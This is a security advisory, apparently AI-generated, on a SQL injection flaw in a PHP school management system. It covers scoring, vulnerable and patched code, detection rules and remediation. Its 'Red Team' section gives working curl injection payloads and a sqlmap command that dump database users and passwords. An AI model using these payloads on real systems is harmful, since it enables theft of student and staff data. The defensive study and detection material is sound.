CVE-2024-6274

Executive Summary

CVE-2024-6274 is a critical SQL injection vulnerability discovered in the lahirudanushka School Management System versions 1.0.0 and 1.0.1. The flaw resides in the /attendancelist.php file, specifically within the Attendance Report Page component. By manipulating the aid parameter, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support and public exploit availability.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect components beyond the vulnerable application.
• Confidentiality (C): High – Full database contents can be read.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database operations can be disrupted.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the aid parameter of /attendancelist.php. The application likely constructs a SQL query by directly concatenating user input without sanitization or parameterized queries.

Example vulnerable PHP code (conceptual):

$aid = $_GET['aid'];
$query = "SELECT * FROM attendance WHERE id = $aid";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing input such as:

1 UNION SELECT username, password FROM users

This would return user credentials in the attendance report output. The injection point is in the WHERE clause, allowing for UNION-based data extraction, error-based inference, or time-based blind injection.

Attack Flow:

1. Attacker identifies the vulnerable endpoint /attendancelist.php?aid=1.
2. Attacker crafts a malicious payload to extract data (e.g., 1 UNION SELECT @@version, user(), database()).
3. The server executes the injected query and returns the result in the HTTP response.
4. Attacker iterates through database tables to exfiltrate sensitive data (student records, staff credentials, etc.).

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$aid = $_GET['aid'];
$sql = "SELECT * FROM attendance WHERE id = $aid";
$result = mysqli_query($conn, $sql);
?>

Patched Code (PHP):

<?php
$aid = intval($_GET['aid']); // Cast to integer
$sql = "SELECT * FROM attendance WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $aid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses prepared statements and input validation (casting to integer) to prevent SQL injection. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running School Management System 1.0.0 or 1.0.1
• Network access to the web interface

Step 1: Verify Vulnerability

curl "http://target.com/attendancelist.php?aid=1'"

If the server returns a SQL error (e.g., You have an error in your SQL syntax), the vulnerability is confirmed.

Step 2: Extract Database Version

curl "http://target.com/attendancelist.php?aid=1 UNION SELECT @@version,2,3-- -"

Step 3: Dump User Credentials

curl "http://target.com/attendancelist.php?aid=1 UNION SELECT username,password,3 FROM users-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/attendancelist.php?aid=1" --batch --dbs

Blue Team (Defensive)

Lab Setup:

• Deploy a honeypot instance of the vulnerable application.
• Monitor /attendancelist.php requests for abnormal aid values.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Detection:

• Look for requests containing SQL keywords (UNION, SELECT, SLEEP, etc.) in the aid parameter.
• Monitor for error messages containing SQL syntax details.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /attendancelist.php with aid parameter containing SQL syntax (e.g., ', UNION, --).
• Outbound database connections from the web server to unknown IPs (data exfiltration).
• Unusual response sizes from /attendancelist.php (indicating data extraction).

File IOCs:

• Modified /attendancelist.php file (if attacker uploads a web shell).
• New files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

• Web server logs showing repeated requests to /attendancelist.php with varying aid values.
• Database logs showing unexpected queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2024_6274_SQLi_Scanner {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-6274"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6274"
    strings:
        $s1 = "/attendancelist.php?aid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "SLEEP" nocase
        $s5 = "1=1" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against School Management System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-6274 in lahirudanushka School Management System
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/attendancelist.php?aid="
    keywords:
        - "UNION"
        - "SELECT"
        - "SLEEP"
        - "1=1"
        - "' OR '1'='1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "union" in a school context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6274 SQL Injection Attempt"; flow:to_server,established; content:"/attendancelist.php"; http_uri; content:"aid="; http_uri; pcre:"/(UNION|SELECT|SLEEP|1=1|' OR '1'='1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable system from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Disable the /attendancelist.php endpoint if not essential.

Long-term Fix:

• Replace the vulnerable code with parameterized queries (prepared statements).
• Implement input validation (e.g., cast aid to integer).
• Upgrade to a supported school management system if the vendor does not provide a patch.

Compensating Controls:

• Enable database activity monitoring.
• Restrict database user privileges (use a read-only account for the web app if possible).
• Implement network segmentation to limit lateral movement.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.